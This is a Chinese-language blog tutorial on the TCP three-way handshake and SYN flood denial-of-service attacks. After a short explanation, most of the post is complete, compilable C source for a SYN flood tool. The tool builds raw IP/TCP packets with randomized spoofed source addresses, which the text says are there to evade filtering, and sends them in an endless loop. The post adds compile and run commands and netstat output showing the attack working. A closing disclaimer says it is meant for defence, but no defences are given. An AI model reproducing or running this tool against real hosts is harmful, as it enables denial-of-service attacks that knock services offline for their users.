TCP SYN洪水 (SYN Flood) 攻击原理与实现

悠悠 2022-11-16 13:49 275阅读 0赞

TCP协议是 TCP/IP 协议栈中一个重要的协议，平时我们使用的浏览器，APP等大多使用 TCP 协议通讯的，可见 TCP 协议在网络中扮演的角色是多么的重要。

TCP 协议是一个可靠的、面向连接的流协议，由于 TCP 协议是建立在 IP 协议这种面向无连接的协议，所以 TCP 协议必须自己来维护连接的状态。

## 三次握手过程 ##

TCP 协议通过一种名为 **三次握手** 的过程来建立客户端与服务端的连接，**三次握手** 过程的原理如图1：

![图片][5d27eed467c3741fd16e99ce706cfe80.png]

(图一 三次握手过程)

建立连接三次握手过程如下：

*  客户端需要发送一个 `SYN包` 给服务端（包含了客户端初始化序列号），并且将连接的状态设置为 `SYN_SENT`，这个过程由 `connect()` 系统调用完成。
 *  服务端接收到客户端发送过来的 `SYN包` 后，回复一个 `SYN+ACK包` 给客户端（包含了服务端初始化序列号），并且设置连接的状态为 `SYN_RCVD`。
 *  客户端接收到服务端发送过来的 `SYN+ACK包` 后，设置连接状态为 `ESTABLISHED`（表示连接已经建立），并且回复一个 `ACK包` 给服务端。
 *  服务端接收到客户端发送过来的 `ACK包` 后，将连接状态设置为 `ESTABLISHED`（表示连接已经建立）。

当 **三次握手** 过程完成后，一个 TCP 连接就此建立完成。

## SYN Flood攻击原理 ##

上面介绍了建立一个 TCP 连接的 **三次握手** 过程，我们可以发现，**三次握手** 属于一个协商的过程，也就是说客户端与服务端必须严格按照这个过程来进行，否则连接就不能建立。

这时，如果客户端发送 **SYN包** 企图与服务端建立连接，但发送完 **SYN包** 后就不管，那会发送什么事情呢？如图2所示：

![图片][2f083e6069954bed547c3dfedb9354d8.png]

(图2 SYN-Flood)

客户端发送一个 **SYN包** 给服务端后就退出，而服务端接收到 **SYN包** 后，会回复一个 **SYN+ACK包** 给客户端，然后等待客户端回复一个 **ACK包**。

但此时客户端并不会回复 **ACK包**，所以服务端只能一直等待直到超时。服务端超时后，会重发 **SYN+ACK包** 给客户端，默认会重试 5 次，而且每次等待的时间都会增加（可以参考 TCP 协议超时重传的实现）。

另外，当服务端接收到 **SYN包** 后，会建立一个半连接状态的 Socket。所以，当客户端一直发送 **SYN包**，但不回复 **ACK包**，那么将会耗尽服务端的资源，这就是 **SYN Flood 攻击**。

## SYN Flood攻击实验 ##

接下来，我们通过自己编写代码来进行 **SYN Flood攻击** 实验。

因为 **SYN Flood攻击** 需要构建 TCP 协议头部，所以下面介绍一下 TCP 协议头部的格式，如图3：

![图片][62c1ecc8fdab5fab7d4177d6920ef86e.png]

(图3 TCP 协议头部格式)

我们定义以下结构来描述 TCP 协议头部：

struct tcphdr {
           unsigned short      sport;    // 源端口    unsigned short      dport;    // 目标端口    unsigned int        seq;      // 序列号    unsigned int        ack_seq;  // 确认号    unsigned char       len;      // 首部长度    unsigned char       flag;     // 标志位    unsigned short      win;      // 窗口大小    unsigned short      checksum; // 校验和    unsigned short      urg;      // 紧急指针};

下面是设置 TCP 头部的过程：

*  标志位中的 **SYN** 字段必须设置为 1，表示这是一个 **SYN包**，由于 **SYN位** 位于 **flag** 字段的第二位，所以可以将 **flag** 字段设置为 **0x02**。
 *  源端口号和序列号我们可以随机设置一个，目的端口号设置成要攻击的目标端口。
 *  确认号设置为 0，因为我们还不知道服务端的序列号。
 *  窗口大小可以随便设置，但通常不要设置太小（可以设置成1024）。
 *  校验和这个比较复杂，因为 TCP 协议在计算检验和时，要加上一个12字节的伪首部，伪首部格式如下图：
    
     *  ![图片][d93aa0dee1a4ebbc318af491d3d2b050.png]
     *  伪首部共有 12 字节，包含 IP 协议头部的一些字段，有如下信息：**32位源IP地址**、**32位目的IP地址**、**8位保留字节(置0)**、**8位传输层协议号(TCP是6，UDP是17)**、**16位TCP报文长度(TCP首部+数据)**。
     *  TCP 协议校验和计算三部分：**TCP伪首部** \+ **TCP头部** \+ **TCP数据**。
 *  紧急指针可以设置为 0。

按照上面的分析，定义 TCP 伪首部的结构如下：

struct pseudohdr {
           unsigned int        saddr;    unsigned int        daddr;    char                zeros;    char                protocol;    unsigned short      length;};

计算校验和的算法有点复杂，所以这里直接从网上找到一个封装好的函数，如下（有兴趣可以参考 TCP 协议的 RFC 文档）：

unsigned short inlinechecksum(unsigned short *buffer, unsigned short size)     {      unsigned long cksum = 0;
        while (size > 1) {
               cksum += *buffer++;        size  -= sizeof(unsigned short);    }
        if (size) {
               cksum += *(unsigned char *)buffer;    }
        cksum = (cksum >> 16) + (cksum & 0xffff);    cksum += (cksum >> 16);     
        return (unsigned short )(~cksum);}

另外，为了在攻击的时候能够设置不同的 IP 地址（因为相同的 IP 地址容易被识别而过滤），我们还需要定义 IP 协议头部。IP 协议头部的格式如图4：

![图片][233032895e1afb8b91318b448c13aa78.png]

(图4 IP 协议头部)

我们定义以下结构来表示 IP 协议头部：

struct iphdr {
           unsigned char       ver_and_hdrlen;// 版本号与IP头部长度    unsigned char       tos;           // 服务类型    unsigned short      total_len;     // 总长度    unsigned short      id;            // IP包ID    unsigned short      flags;         // 标志位(包括分片偏移量)    unsigned char       ttl;           // 生命周期    unsigned char       protocol;      // 上层协议    unsigned short      checksum;      // 校验和    unsigned int        srcaddr;       // 源IP地址    unsigned int        dstaddr;       // 目标IP地址};

### 1. 初始化 IP 头部 ###

下面我们实现初始化 IP 头部的函数 `init_ip_header()`：

void init_ip_header(struct iphdr *iphdr, unsigned int srcaddr, unsigned int dstaddr){
           int len = sizeof(struct ip) + sizeof(struct tcphdr);
        iphdr->ver_and_hdrlen = (4 << 4 | sizeof(struct iphdr) / sizeof(unsigned int));    iphdr->tos = 0;    iphdr->total_len = htons(len);    iphdr->id = 1;    iphdr->flags = 0x40;    iphdr->ttl = 255;    iphdr->protocol = IPPROTO_TCP;    iphdr->checksum = 0;    iphdr->srcaddr = srcaddr; // 源IP地址    iphdr->dstaddr = dstaddr; // 目标IP地址}

`init_ip_header()` 函数比较简单，就是通过传入的源 IP 地址和目标 IP 地址初始化 IP 头部结构。

### 2. 初始化 TCP 头部 ###

接下来，我们要实现初始化 TCP 头部的函数 `init_tcp_header()`：

void init_tcp_header(struct tcphdr *tcphdr, unsigned short dport){
           tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口    tcp->dport = htons(dport);                    // 目标端口    tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号    tcp->ack_seq = 0;     tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);    tcp->flag = 0x02;    tcp->win = htons(1024);      tcp->checksum = 0;    tcp->urg = 0;}

### 3. 初始化 TCP 伪首部 ###

现在我们定义一个 TCP 伪首部初始化函数 `init_pseudo_header()`：

void init_pseudo_header(struct pseudohdr *hdr, unsigned int srcaddr,                         unsigned int dstaddr){
           hdr->zero = 0;    hdr->protocol = IPPROTO_TCP;    hdr->length = htons(sizeof(struct tcphdr));    hdr->saddr = srcaddr;    hdr->daddr = dstaddr;}

### 4. 构建 SYN 包 ###

接下来我们要实现最为重要的一个函数，就是构建 **SYN包**，其实现如下：

int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,                     unsigned short dport){
           char buf[100];    int len;    struct iphdr ip;             // IP 头部    struct tcphdr tcp;           // TCP 头部    struct pseudohdr pseudo;     // TCP 伪头部    unsigned int saddr = rand(); // 随机生成一个源IP地址
        len = sizeof(ip) + sizeof(tcp);
        // 初始化头部信息    init_ip_header(&ip, saddr, daddr);    init_tcp_header(&tcp, dport);    init_pseudo_header(&pseudo, saddr, daddr);
        //计算IP校验和    ip.checksum = checksum((u_short *)&ip, sizeof(ip));
        // 计算TCP校验和    bzero(buf, sizeof(buf));    memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部    memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部    tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
        bzero(packet, pkt_len);    memcpy(packet, &ip, sizeof(ip));    memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));        return len;}

`make_syn_packet()` 函数主要通过 **目标IP地址** 和 **目标端口** 生成一个 **SYN包**，保存到参数 **packet** 中，并且返回包的大小。

### 5. 创建原始套接字 ###

由于要发送自己构建的 IP 头部和 TCP 头部，所以必须使用 **原始套接字** 来发送。**原始套接字** 在创建时需要指定 `SOCK_RAW` 参数，下面我们定义一个创建原始套接字的函数：

int make_raw_socket(){
           int fd;    int on = 1;
        // 创建一个原始套接字, 指定其关注TCP协议    fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);    if (fd == -1) {
               return -1;    }
        // 设置需要手动构建IP头部    if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
               close(fd);        return -1;    }
        return fd;}

在调用 `socket()` 函数创建套接字时，指定第二个参数为 `SOCK_RAW`，表示创建的套接字为原始套接字。然后调用 `setsockopt()` 函数设置 IP 头部由我们自己构建。

### 6. 发送SYN包 ###

下面我们实现发送 **SYN包** 的函数：

int send_syn_packet(int sockfd, unsigned int addr, unsigned short port){
           struct sockaddr_in skaddr;    char packet[256];    int pkt_len;
        bzero(&skaddr, sizeof(skaddr));
        skaddr.sin_family = AF_INET;    skaddr.sin_port = htons(port);    skaddr.sin_addr.s_addr = addr;
        pkt_len = make_syn_packet(packet, 256, addr, port);
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,                  sizeof(struct sockaddr));}

`send_syn_packet()` 函数需要传入原始套接字、目标IP地址和目标端口，然后通过调用 `sendto()` 函数向服务端发送一个 **SYN包**。

### 7. 主函数 ###

最后，我们来实现主函数 `main()`：

int main(int argc, char *argv[]){
           unsigned int addr;    unsigned short port;    int sockfd;
        if (argc < 3) {
               fprintf(stderr, "Usage: synflood <address> <port>\n");        exit(1);    }
        addr = inet_addr(argv[1]);  // 获取目标IP    port = atoi(argv[2]);       // 获取目标端口
        if (port < 0 || port > 65535) {
               fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);        exit(1);    }
        sockfd = make_raw_socket(); // 创建原始socket    if (sockfd == -1) {
               fprintf(stderr, "Failed to make raw socket\n");        exit(1);    }
        for (;;) {
               if (send_syn_packet(sockfd, addr, port) < 0) { // 发送SYN包            fprintf(stderr, "Failed to send syn packet\n");        }    }
        close(sockfd);
        return 0;}

`main()` 函数也很简单，首先从命令行读取到 **目标 IP 地址** 和 **目标端口**，然后调用 `make_raw_socket()` 创建一个原始套接字，最后在一个无限循环中不断向服务端发送 **SYN包**。

> 完整的源代码在：https://github.com/liexusong/synflood/blob/main/synflood.c

--------------------

现在我们通过以下命令来编译这个程序：

root@vagrant]$ gcc -o synflood synflood.c

然后使用以下命令运行程序：

root@vagrant]$ sudo synflood 127.0.0.1 80

上面的命令就是攻击本地的80端口，我们可以使用以下命令查看TCP连接的状态：

root@vagrant\]$ netstat -np|grep tcp

tcp        0      0 127.0.0.1:80            229.20.1.110:51861      SYN_RECV    -tcp        0      0 127.0.0.1:80            239.137.18.30:52104     SYN_RECV    -tcp        0      0 127.0.0.1:80            233.90.28.10:65322      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.13.8.74:57922       SYN_RECV    -tcp        0      0 127.0.0.1:80            229.81.76.55:52345      SYN_RECV    -tcp        0      0 127.0.0.1:80            236.226.188.82:53560    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.245.238.56:49499    SYN_RECV    -tcp        0      0 127.0.0.1:80            224.222.45.20:49270     SYN_RECV    -tcp        0      0 127.0.0.1:80            230.2.130.115:63709     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.233.180.85:59636    SYN_RECV    -tcp        0      0 127.0.0.1:80            236.168.175.81:60326    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.27.77.111:65276     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.4.252.114:60898     SYN_RECV    -tcp        0      0 127.0.0.1:80            226.62.209.29:64605     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.106.157.82:56451    SYN_RECV    -tcp        0      0 127.0.0.1:80            235.247.175.35:54963    SYN_RECV    -tcp        0      0 127.0.0.1:80            231.100.248.95:58660    SYN_RECV    -tcp        0      0 127.0.0.1:80            228.113.70.57:60157     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.76.245.32:59218     SYN_RECV    -tcp        0      0 127.0.0.1:80            232.76.169.15:50441     SYN_RECV    -tcp        0      0 127.0.0.1:80            236.191.51.34:53060     SYN_RECV    -tcp        0      0 127.0.0.1:80            227.215.119.119:55480   SYN_RECV    -tcp        0      0 127.0.0.1:80            227.185.145.18:56882    SYN_RECV    -tcp        0      0 127.0.0.1:80            234.73.216.62:58793     SYN_RECV    -tcp        0      0 127.0.0.1:80            234.183.17.49:59739     SYN_RECV    -tcp        0      0 127.0.0.1:80            235.233.86.125:55530    SYN_RECV    -tcp        0      0 127.0.0.1:80            229.117.216.112:52235   SYN_RECV    -tcp        0      0 127.0.0.1:80            238.182.168.62:65214    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.88.213.112:62171    SYN_RECV    -tcp        0      0 127.0.0.1:80            225.218.65.88:60597     SYN_RECV    -tcp        0      0 127.0.0.1:80            239.116.219.23:58731    SYN_RECV    -tcp        0      0 127.0.0.1:80            232.99.36.55:51906      SYN_RECV    -tcp        0      0 127.0.0.1:80            225.198.211.64:52338    SYN_RECV    -tcp        0      0 127.0.0.1:80            230.229.104.121:62795   SYN_RECV    -...

从上面的结果可以看出，服务器已经生成了很多半连接状态的 TCP 连接，表示我们的攻击已经生效。

## 总结 ##

本文主要介绍了 **SYN Flood攻击** 的原理与实施方式，本文的本意是通过理解攻击原理来更好的防范被攻击，而不是教你怎么去攻击，所以千万别用于恶意攻击、千万别用于恶意攻击、千万别用于恶意攻击（重要的事情讲三次）。

另外，防止 **SYN Flood攻击** 的方法很多，这里就不介绍了，有兴趣可以查阅相关的资料。

参考资料：1. https://blog.csdn.net/zhangskd/article/details/11770647

2. https://blog.csdn.net/jiange\_zh/article/details/50446172

\------------------------------------------------------------------------------------------------------------------

#include <stdio.h>
    #include <ctype.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <sys/time.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <string.h>
    #include <netdb.h>
    #include <errno.h>
    #include <stdlib.h>
    #include <time.h>
    #include <arpa/inet.h>
    
    struct iphdr
    {
        unsigned char       ver_and_hdrlen;// 版本号与IP头部长度
        unsigned char       tos;           // 服务类型
        unsigned short      total_len;     // 总长度
        unsigned short      id;            // IP包ID
        unsigned short      flags;         // 标志位(包括分片偏移量)
        unsigned char       ttl;           // 生命周期
        unsigned char       protocol;      // 上层协议
        unsigned short      checksum;      // 校验和
        unsigned int        srcaddr;       // 源IP地址
        unsigned int        dstaddr;       // 目标IP地址
    };
    
    struct tcphdr
    {
        unsigned short      sport;    // 源端口
        unsigned short      dport;    // 目标端口
        unsigned int        seq;      // 序列号
        unsigned int        ack_seq;  // 确认号
        unsigned char       len;      // 首部长度
        unsigned char       flag;     // 标志位
        unsigned short      win;      // 窗口大小
        unsigned short      checksum; // 校验和
        unsigned short      urg;      // 紧急指针
    };
    
    struct pseudohdr
    {
        unsigned int        saddr;
        unsigned int        daddr;
        char                zeros;
        char                protocol;
        unsigned short      length;
    };
    
    unsigned short inline
    checksum(unsigned short *buffer, unsigned short size)
    {
        unsigned long cksum = 0;
    
        while (size > 1) {
            cksum += *buffer++;
            size  -= sizeof(unsigned short);
        }
    
        if (size) {
            cksum += *(unsigned char *)buffer;
        }
    
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >> 16);
    
        return (unsigned short )(~cksum);
    }
    
    void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
                        unsigned int dstaddr)
    {
        int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    
        ip->ver_and_hdrlen = (4<<4 | sizeof(struct iphdr)/sizeof(unsigned int));
        ip->tos = 0;
        ip->total_len = htons(len);
        ip->id = 1;
        ip->flags = 0x40;
        ip->ttl = 255;
        ip->protocol = IPPROTO_TCP;
        ip->checksum = 0;
        ip->srcaddr = srcaddr; // 源IP地址
        ip->dstaddr = dstaddr; // 目标IP地址
    }
    
    void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
    {
        tcp->sport = htons(rand() % 16383 + 49152);   // 随机生成一个端口
        tcp->dport = htons(dport);                    // 目标端口
        tcp->seq = htonl(rand() % 90000000 + 2345 );  // 随机生成一个初始化序列号
        tcp->ack_seq = 0;
        tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
        tcp->flag = 0x02;
        tcp->win = htons(1024);
        tcp->checksum = 0;
        tcp->urg = 0;
    }
    
    void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
                            unsigned int dstaddr)
    {
        pseudo->zeros = 0;
        pseudo->protocol = IPPROTO_TCP;
        pseudo->length = htons(sizeof(struct tcphdr));
        pseudo->saddr = srcaddr;
        pseudo->daddr = dstaddr;
    }
    
    int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
                        unsigned short dport)
    {
        char buf[100];
        int len;
        struct iphdr ip;          //IP 头部
        struct tcphdr tcp;        //TCP 头部
        struct pseudohdr pseudo;  //TCP 伪头部
        unsigned int saddr = rand();
    
        len = sizeof(ip) + sizeof(tcp);
    
        // 初始化头部信息
        init_ip_header(&ip, saddr, daddr);
        init_tcp_header(&tcp, dport);
        init_pseudo_header(&pseudo, saddr, daddr);
    
        //计算IP校验和
        ip.checksum = checksum((u_short *)&ip, sizeof(ip));
    
        // 计算TCP校验和
        bzero(buf, sizeof(buf));
        memcpy(buf , &pseudo, sizeof(pseudo));           // 复制TCP伪头部
        memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp)); // 复制TCP头部
        tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
    
        bzero(packet, pkt_len);
        memcpy(packet, &ip, sizeof(ip));
        memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
    
        return len;
    }
    
    int make_raw_socket()
    {
        int fd;
        int on = 1;
    
        // 创建一个原始套接字, 指定其关注TCP协议
        fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
        if (fd == -1) {
            return -1;
        }
    
        // 设置需要手动构建IP头部
        if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
            close(fd);
            return -1;
        }
    
        return fd;
    }
    
    int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
    {
        struct sockaddr_in skaddr;
        char packet[256];
        int pkt_len;
    
        bzero(&skaddr, sizeof(skaddr));
    
        skaddr.sin_family = AF_INET;
        skaddr.sin_port = htons(port);
        skaddr.sin_addr.s_addr = addr;
    
        pkt_len = make_syn_packet(packet, 256, addr, port);
    
        return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
                      sizeof(struct sockaddr));
    }
    
    int main(int argc, char *argv[])
    {
        unsigned int addr;
        unsigned short port;
        int sockfd;
    
        if (argc < 3) {
            fprintf(stderr, "Usage: synflood <address> <port>\n");
            exit(1);
        }
    
        addr = inet_addr(argv[1]);
        port = atoi(argv[2]);
    
        if (port < 0 || port > 65535) {
            fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
            exit(1);
        }
    
        sockfd = make_raw_socket();
        if (sockfd == -1) {
            fprintf(stderr, "Failed to make raw socket\n");
            exit(1);
        }
    
        for (;;) {
            if (send_syn_packet(sockfd, addr, port) < 0) {
                fprintf(stderr, "Failed to send syn packet\n");
            }
        }
    
        close(sockfd);
    
        return 0;
    }

[5d27eed467c3741fd16e99ce706cfe80.png]: /images/20221022/01f26f1046404835b9aecbb95fcc2949.png
[2f083e6069954bed547c3dfedb9354d8.png]: /images/20221022/3af81f7285604a64b85dad14bb704cc4.png
[62c1ecc8fdab5fab7d4177d6920ef86e.png]: /images/20221022/c31a7ccc3f4a4b988b34414649d16e23.png
[d93aa0dee1a4ebbc318af491d3d2b050.png]: /images/20221022/6089b3cf8f90465f87e3b88fe9c33070.png
[233032895e1afb8b91318b448c13aa78.png]: /images/20221022/67ceb6c454b1433b8b8febd6d8cdb367.png